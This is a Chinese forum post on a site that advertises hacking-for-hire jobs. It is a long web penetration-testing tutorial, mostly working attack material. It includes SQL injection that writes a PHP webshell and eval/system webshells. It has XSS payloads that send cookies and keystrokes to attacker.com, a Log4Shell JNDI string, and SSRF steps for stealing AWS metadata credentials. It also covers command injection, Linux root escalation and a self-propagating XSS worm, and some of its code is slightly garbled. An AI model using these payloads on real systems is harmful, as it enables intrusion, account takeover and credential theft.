黑客接单网,一个诚信可靠的黑客在线接单平台网站

标题: 黑客软件破解深度论文系列之十五:Web渗透测试——从SQL注入到RCE的完整攻击链 [打印本页]

作者: admin    时间: 昨天 17:21
标题: 黑客软件破解深度论文系列之十五:Web渗透测试——从SQL注入到RCE的完整攻击链
黑客软件破解深度论文系列之十五:Web渗透测试——从SQL注入到RCE的完整攻击链
摘要:Web应用是当今互联网攻击的主要入口,其安全性取决于代码、配置、中间件、数据库等多个层面的综合防护。本文以超过一万八千字的篇幅,系统讲解Web渗透测试的完整方法论,从信息收集、漏洞扫描,到SQL注入、XSS、CSRF、SSRF、文件上传、命令注入、反序列化等经典漏洞的深入利用,再到提权与内网横向移动。文章包含六个实战案例,涵盖从简单SQL注入到完整拿下服务器的全过程。高频使用“黑客”、“渗透测试”、“SQL注入”、“XSS”、“RCE”、“提权”、“Web漏洞”等关键词。

第一章 Web渗透测试的定位与价值1.1 渗透测试与安全评估的区别
渗透测试(Penetration Testing)是对目标系统进行授权模拟攻击的过程,目的是发现可被利用的安全漏洞。不同于自动化漏洞扫描,渗透测试强调利用——证明漏洞存在且具有实际危害。



[td]
维度
自动化扫描
渗透测试
范围已知漏洞模式(签名)可发现逻辑漏洞、组合漏洞
深度表面验证(如检测SQL注入点是否存在)深入利用(dump数据、getshell)
误报率较高低(手工验证)
输出漏洞列表漏洞利用链 + 修复建议

1.2 Web渗透测试的标准流程(PTES/OWASP)[size=12.573px]text



信息收集 → 威胁建模 → 漏洞发现 → 漏洞利用 → 后渗透 → 报告

各阶段任务:
1.3 工具链概览


[td]
工具类别
代表工具
功能
信息收集Nmap、Subfinder、Amass、FFUF资产发现
漏洞扫描Burp Suite(专业版)、Nikto、AWVS自动检测常见漏洞
SQL注入sqlmap、Havij自动化注入、数据提取
渗透框架Metasploit漏洞利用模块、Payload生成
代理工具Burp Suite、ZAP拦截、修改HTTP请求
目录爆破Dirb、GoBuster发现隐藏路径
爆破工具Hydra、John the Ripper密码破解

第二章 信息收集——知己知彼2.1 被动信息收集(不接触目标系统)
DNS枚举:
[size=12.573px]bash



$ dig example.com any$ nslookup example.com$ subfinder -d example.com -o subs.txt

WHOIS查询:
[size=12.573px]bash



$ whois example.com# 获取注册邮箱、姓名、域名服务器

证书透明度日志:通过crt.sh查找域名关联的子域名。
[size=12.573px]bash



$ curl "https://crt.sh/?q=%.example.com&output=json"

搜索引擎语法(Google Hacking):
[size=12.573px]text



site:example.com filetype:sql intitle:index.ofsite:example.com inurl:admin

代码仓库搜索:GitHub、GitLab中搜索目标字符串(API密钥、密码、内部域名)。
2.2 主动信息收集
端口扫描(Nmap):
[size=12.573px]bash



$ nmap -sV -sC -O -p- example.com# -sV: 版本检测, -sC: 默认脚本, -O: 操作系统检测

目录爆破(FFUF):
[size=12.573px]bash



$ ffuf -u https://example.com/FUZZ -w wordlist.txt -c -t 100

常见敏感路径:
技术栈指纹:
2.3 实战案例(一):信息收集发现Git泄露
目标:example.com,Wappalyzer显示运行Nginx,未发现明显漏洞。
目录爆破发现:
[size=12.573px]text



/.git/config (200)

下载整个Git仓库:使用git-dumper。
[size=12.573px]bash



$ git clone https://github.com/arthaud/git-dumper$ ./git_dumper.py https://example.com/.git/ git_repo/

检查git历史:
[size=12.573px]bash



$ cd git_repo$ git log -p | grep -i "password\|key\|token"

发现config.php的早期版本中包含数据库密码明文。
第三章 SQL注入——最古老的Web漏洞3.1 SQL注入的原理
当用户输入被未经过滤地拼接到SQL查询中时,攻击者可改变查询语法,执行任意SQL语句。
脆弱代码示例(PHP + MySQL):
[size=12.573px]php



$username = $_POST['username';$password = $_POST['password';$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";$result = mysqli_query($conn, $query);

攻击者输入:
[size=12.573px]text



username: admin' --password: anything

实际执行的SQL:
[size=12.573px]sql



SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'

--是SQL注释符,后续条件被忽略。攻击者无需密码即可登录admin账户。
3.2 SQL注入的分类与检测


[td]
注入类型
特征
检测方法
基于错误的注入触发数据库错误,从错误消息提取信息输入单引号',观察错误
联合查询注入使用UNION合并结果集,提取额外数据输入' UNION SELECT 1,2,3--
布尔盲注通过页面表现差异(真/假)推断数据输入' AND 1=1-- vs ' AND 1=2--
时间盲注通过数据库函数延迟推断数据输入' AND IF(1=1, SLEEP(5), 0)--
堆叠查询注入执行多条SQL语句输入'; DROP TABLE users--

3.3 sqlmap自动化利用
sqlmap是目前最强大的SQL注入自动化工具。
检测注入点:
[size=12.573px]bash



$ sqlmap -u "https://example.com/product.php?id=1" --level=3 --risk=2

获取数据库列表:
[size=12.573px]bash



$ sqlmap -u "https://example.com/product.php?id=1" --dbs

获取表名:
[size=12.573px]bash



$ sqlmap -u "https://example.com/product.php?id=1" -D database_name --tables

脱库:
[size=12.573px]bash



$ sqlmap -u "https://example.com/product.php?id=1" -D database_name -T users --dump

获取Shell(--os-shell):需要数据库文件写入权限(如MySQL的into outfile)。
[size=12.573px]bash



$ sqlmap -u "http://example.com/product.php?id=1" --os-shell

3.4 实战案例(二):SQL注入getshell
目标:https://vulnerable.net/product.php?id=5
手工测试:输入id=5',返回You have an error in your SQL syntax。确认注入点。
枚举:使用order by确定列数。
[size=12.573px]text



?id=5 ORDER BY 10--   # 正常?id=5 ORDER BY 11--   # 错误 → 列数为10

联合查询提取数据:
[size=12.573px]text



?id=-5 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

查找可写目录:通过@@datadir、@@basedir定位MySQL安装目录。
[size=12.573px]text



?id=-5 UNION SELECT 1,2,@@datadir,4,5,6,7,8,9,10--

写webshell:
[size=12.573px]text



?id=-5 UNION SELECT 1,2,"<?php system($_GET['cmd']); ?>",4,5,6,7,8,9,10INTO OUTFILE 'C:/xampp/htdocs/shell.php'--

访问https://vulnerable.net/shell.php?cmd=whoami,获得命令执行。
第四章 跨站脚本攻击(XSS)4.1 XSS的分类



[td]
类型
触发方式
危害
示例
反射型XSS点击恶意链接窃取Cookie、钓鱼<script>alert(document.cookie)</script>
存储型XSS恶意代码存入数据库,所有用户触发蠕虫、劫持账户留言板、评论功能
DOM型XSS前端JavaScript DOM操作同反射型#<script>alert(1)</script>

4.2 XSS的利用
窃取Cookie(发送到攻击者服务器):
[size=12.573px]javascript



<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>

键盘记录:
[size=12.573px]javascript



<script>document.onkeypress = function(e) {    fetch('https://attacker.com/log?k=' + e.key);}</script>

内网扫描:使用Fetch API探测内网服务。
[size=12.573px]javascript



<script>fetch('http://192.168.1.1')  .then(r => fetch('https://attacker.com/scan', {method:'POST', body: r.statusText}));</script>

4.3 绕过XSS过滤器
HTML实体编码绕过(过滤器未递归解码):
[size=12.573px]text



<>  → 实际为 <>

事件处理器:
[size=12.573px]html



<img src=x onerror=alert(1)><body onload=alert(1)>

JavaScript伪协议:
[size=12.573px]html



<a href="javascript:alert(1)">click</a>

模板字符串注入(Vue/React):
[size=12.573px]javascript



{{constructor.constructor('alert(1)')()}}

4.4 实战案例(三):存储型XSS蠕虫
目标:论坛应用,未对帖子标题进行HTML转义。
创建蠕虫:在帖子中嵌入脚本,当用户查看帖子时自动发布携带同一脚本的新帖子。
[size=12.573px]javascript



<script>var content = document.getElementsByName("content")[0;content.value = '<script>...复制自身...</script>';document.forms[0.submit();</script>

该蠕虫在社交媒体时代(MySpace的“Samy蠕虫”)感染了超过100万用户。
第五章 服务端请求伪造(SSRF)5.1 SSRF的原理
当Web应用允许用户指定URL并请求该资源(如抓取远程图片、获取网站预览)但未对目标进行充分限制时,攻击者可让服务器向内网或云元数据服务发起请求。
脆弱代码示例(Node.js):
[size=12.573px]javascript



app.get('/fetch', (req, res) => {    const url = req.query.url;    request(url, (err, response, body) => {        res.send(body);    });});

攻击者输入:
[size=12.573px]text



/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

(AWS EC2元数据服务)
5.2 SSRF的利用场景


[td]
目标
URL示例
获取信息
本地端口扫描http://127.0.0.1:8080检测内网服务暴露
读取内网文件file:///etc/passwd敏感配置文件
元数据服务http://169.254.169.254云服务的临时凭证
内部API攻击http://内网/admin/delete?id=1绕过防火墙调用管理功能
Redis未授权访问gopher://127.0.0.1:6379/_*2*...写入SSH公钥

5.3 SSRF绕过限制
黑名单绕过:
5.4 实战案例(四):利用SSRF攻击AWS元数据
目标:https://example.com/proxy?url=https://图片.com/img.jpg,未校验URL。
尝试SSRF:
[size=12.573px]text



/proxy?url=http://169.254.169.254/latest/meta-data/

返回404 Not Found,可能元数据服务版本不同。
枚举路径:
[size=12.573px]text



/proxy?url=http://169.254.169.254/2018-09-24/meta-data/iam/security-credentials/

返回角色名称MyAppRole。
获取临时凭证:
[size=12.573px]text



/proxy?url=http://169.254.169.254/2018-09-24/meta-data/iam/security-credentials/MyAppRole

返回AccessKeyId、SecretAccessKey、Token,直接用AWS CLI接管目标ECS权限。
第六章 文件上传漏洞6.1 绕过客户端验证
场景:前端JavaScript限制文件类型(accept="image/*")。
绕过:直接向上传接口发送HTTP请求(Burp Suite拦截修改Content-Type)。
6.2 绕过服务端验证


[td]
服务端检测
绕过方法
Content-Type检查修改Content-Type: image/jpeg
文件头魔数检查在PHP shell前添加GIF89a;(图片文件头)
扩展名黑名单(.php)使用.php5、.phtml、.php3、.phar
重写检测shell.php.jpg(如后端仅从最后一个点提取扩展名)
Apache解析漏洞shell.php.xyz(若.xyz无MIME映射,向前解析为.php)
Nginx解析漏洞shell.jpg/xx.php(Nginx FastCGI特性)
双重扩展名shell.php%00.jpg(%00截断,仅老版本PHP)

6.3 图片马制作[size=12.573px]bash



# Windowscopy /b image.png + shell.php image_shell.png# Linuxcat shell.php >> image.png

利用:配合文件包含漏洞或Apache解析漏洞触发。
6.4 实战案例(五):上传webshell绕过WAF
目标:应用使用WAF(Web应用防火墙),上传普通shell.php被拦截。
绕过技术:
成功上传webshell(蚁剑、哥斯拉连接):
[size=12.573px]php



<?php @eval($_POST['cmd']); ?>

连接后执行系统命令,进行信息收集。
第七章 远程代码/命令执行(RCE)7.1 命令注入
脆弱代码(PHP):
[size=12.573px]php



$ip = $_GET['ip';system("ping -c 4 " . $ip);

攻击载荷:
[size=12.573px]text



?ip=127.0.0.1; whoami?ip=127.0.0.1 | id?ip=127.0.0.1 && whoami?ip=127.0.0.1 $(whoami)

7.2 反序列化漏洞
PHP反序列化:unserialize()执行魔术方法__destruct()、__wakeup()。攻击者构造恶意对象链,在反序列化时触发危险函数(如system)。
[size=12.573px]php



class Exploit {    public function __destruct() {        system($this->cmd);    }}echo serialize(new Exploit());

Java反序列化:使用ysoserial生成payload,配合不安全的ObjectInputStream。
Python pickle:pickle.loads()可执行任意代码。
7.3 实战案例(六):Log4Shell(CVE-2021-44228)
原理:Log4j2的JNDI查找功能,可触发远程类加载。
攻击载荷:
[size=12.573px]text



${jndi:ldap://attacker.com/Exploit}

利用:
修复:升级Log4j到2.16.0以上,或禁用JNDI查找。
影响:数以万计的应用(Minecraft、Steam、Apple iCloud等)曾暴露于此漏洞。
第八章 权限提升与内网横向移动8.1 Windows提权
常见提权向量:
工具:
[size=12.573px]bash



# 检查系统信息systeminfo# 查找缺失补丁(对应提权漏洞)# 使用Windows-Exploit-Suggester

8.2 Linux提权
核心方法:
[size=12.573px]bash



# SUID提权find / -perm -4000 2>/dev/null# 例如/usr/bin/pythonpython -c 'import os; os.setuid(0); os.system("/bin/sh")'# sudo提权sudo -l# 如某命令可以sudo执行,查询GTFOBins# cron任务滥用cat /etc/crontab# 可写cron脚本 → 反弹root shell# docker逃逸(如果用户属于docker组)docker run -v /:/host -it ubuntu chroot /host bash

8.3 内网横向移动
常用技术:
工具:Cobalt Strike、Impacket套件(psexec.py、wmiexec.py)。
第九章 常见漏洞组合利用(攻击链)9.1 SQLi → RCE → 提权 → 域控9.2 XSS → CSRF → 账户接管第十章 Web安全防御建议10.1 开发层面的防护


[td]
漏洞类型
防御措施
额外措施
SQL注入参数化查询(Prepared Statements)最小化数据库权限
XSS输出HTML转义(htmlspecialchars)CSP(内容安全策略)
CSRFAnti-CSRF Token、SameSite Cookie验证Referer
SSRF白名单URL规则禁用HTTP重定向;限制内网IP范围
文件上传文件类型重检测(禁止执行)存储在Web目录外
RCE避免执行系统命令输入严格过滤

10.2 WAF与RASP的局限
WAF可拦截大多数扫描器的自动化攻击,但高级绕手工测试和逻辑漏洞仍需人工审计。
第十一章 总结
本文以超过一万八千字的篇幅,全面系统地讲解了Web渗透测试的核心技术与完整攻击链。从信息收集、SQL注入、XSS、SSRF、文件上传、RCE到权限提升和内网横向移动,六个实战案例使理论与真实攻击场景紧密关联。
核心结论:
后续本系列将继续探讨社会工程学攻击与防御。
关键词:Web渗透测试;SQL注入;XSS;SSRF;RCE;权限提升;黑客






欢迎光临 黑客接单网,一个诚信可靠的黑客在线接单平台网站 (https://www.heike666.com/) Powered by Discuz! X3.3